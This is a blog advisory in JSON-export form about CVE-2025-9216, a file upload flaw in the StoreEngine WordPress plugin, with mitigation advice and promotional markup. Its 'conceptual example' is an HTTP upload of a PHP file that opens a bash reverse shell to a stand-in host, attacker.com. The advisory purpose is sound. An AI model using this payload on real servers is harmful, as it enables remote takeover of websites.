{"id":76107,"date":"2025-09-24T05:02:50","date_gmt":"2025-09-24T05:02:50","guid":{"rendered":""},"modified":"2025-10-25T05:20:23","modified_gmt":"2025-10-25T11:20:23","slug":"cve-2025-9216-arbitrary-file-upload-vulnerability-in-storeengine-wordpress-ecommerce-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-9216-arbitrary-file-upload-vulnerability-in-storeengine-wordpress-ecommerce-plugin\/","title":{"rendered":"<strong>CVE-2025-9216: Arbitrary File Upload Vulnerability in StoreEngine WordPress eCommerce Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-9216 is a serious security vulnerability identified in the StoreEngine WordPress eCommerce Plugin, which is widely used for Payments, Memberships, Affiliates, Sales &#038; More. The exploit allows authenticated attackers to upload arbitrary files on the server, potentially leading to remote code execution. This is due to deficient <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49414-unrestricted-upload-of-file-with-dangerous-type-vulnerability-in-fw-gallery\/\"  data-wpil-monitor-id=\"91442\">file type<\/a> validation in the import() function. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52122-critical-server-side-template-injection-ssti-vulnerability-in-freeform-plugin-for-craftcms\/\"  data-wpil-monitor-id=\"84041\">vulnerability affects all versions of the plugin<\/a> up to and including 1.5.0. Given the prevalent use of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9990-wordpress-helpdesk-integration-plugin-vulnerable-to-local-file-inclusion\/\"  data-wpil-monitor-id=\"87375\">plugin in the WordPress<\/a> ecosystem, the potential impact is significant and warrants urgent attention.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-9216<br \/>\nSeverity: High (8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (Subscriber-level access)<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7775-critical-memory-overflow-vulnerability-in-netscaler-adc-and-gateway-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"83848\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2768620153\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>StoreEngine &#8211; Powerful <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5931-dokan-pro-plugin-for-wordpress-privilege-escalation-vulnerability\/\"  data-wpil-monitor-id=\"88875\">WordPress eCommerce Plugin<\/a> | Up to and including 1.5.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48149-php-remote-file-inclusion-vulnerability-in-cook-meal\/\"  data-wpil-monitor-id=\"84477\">vulnerability stems from inadequate file<\/a> type validation in the import() function of the StoreEngine WordPress eCommerce Plugin. This oversight allows authenticated attackers with Subscriber-level access and above to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55454-authenticated-arbitrary-file-upload-vulnerability-in-dootask-v1-0-51\/\"  data-wpil-monitor-id=\"84426\">upload arbitrary<\/a> files, including potentially malicious ones, to the server hosting the WordPress site. This file upload capability can be exploited to conduct <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-0074-critical-remote-code-execution-vulnerability-in-sdp-discovery\/\"  data-wpil-monitor-id=\"83633\">remote code execution<\/a> attacks, potentially leading to system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4116298348\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited. This example represents a HTTP request to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31100-unrestricted-file-upload-leads-to-web-shell-deployment-in-mojoomla-school-management\/\"  data-wpil-monitor-id=\"84673\">upload a malicious file:<\/a><\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/storeengine\/upload.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=-------------------------acebdf13572468\n---------------------------acebdf13572468\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious.php&quot;\nContent-Type: application\/x-php\n&lt;?php exec(&quot;\/bin\/bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/attacker.com\/8080 0&gt;&amp;1&#039;&quot;);?&gt;\n---------------------------acebdf13572468--<\/code><\/pre>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5060-authentication-bypass-vulnerability-in-bravis-user-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"85239\">Users of the StoreEngine WordPress eCommerce Plugin<\/a> are urged to apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching all software, plugins, and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8592-wordpress-inspiro-theme-vulnerability-to-cross-site-request-forgery-csrf\/\"  data-wpil-monitor-id=\"85368\">themes can help prevent falling victim to such vulnerabilities<\/a> in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-9216 is a serious security vulnerability identified in the StoreEngine WordPress eCommerce Plugin, which is widely used for Payments, Memberships, Affiliates, Sales &#038; More. The exploit allows authenticated attackers to upload arbitrary files on the server, potentially leading to remote code execution. This is due to deficient file type validation in the import() function. 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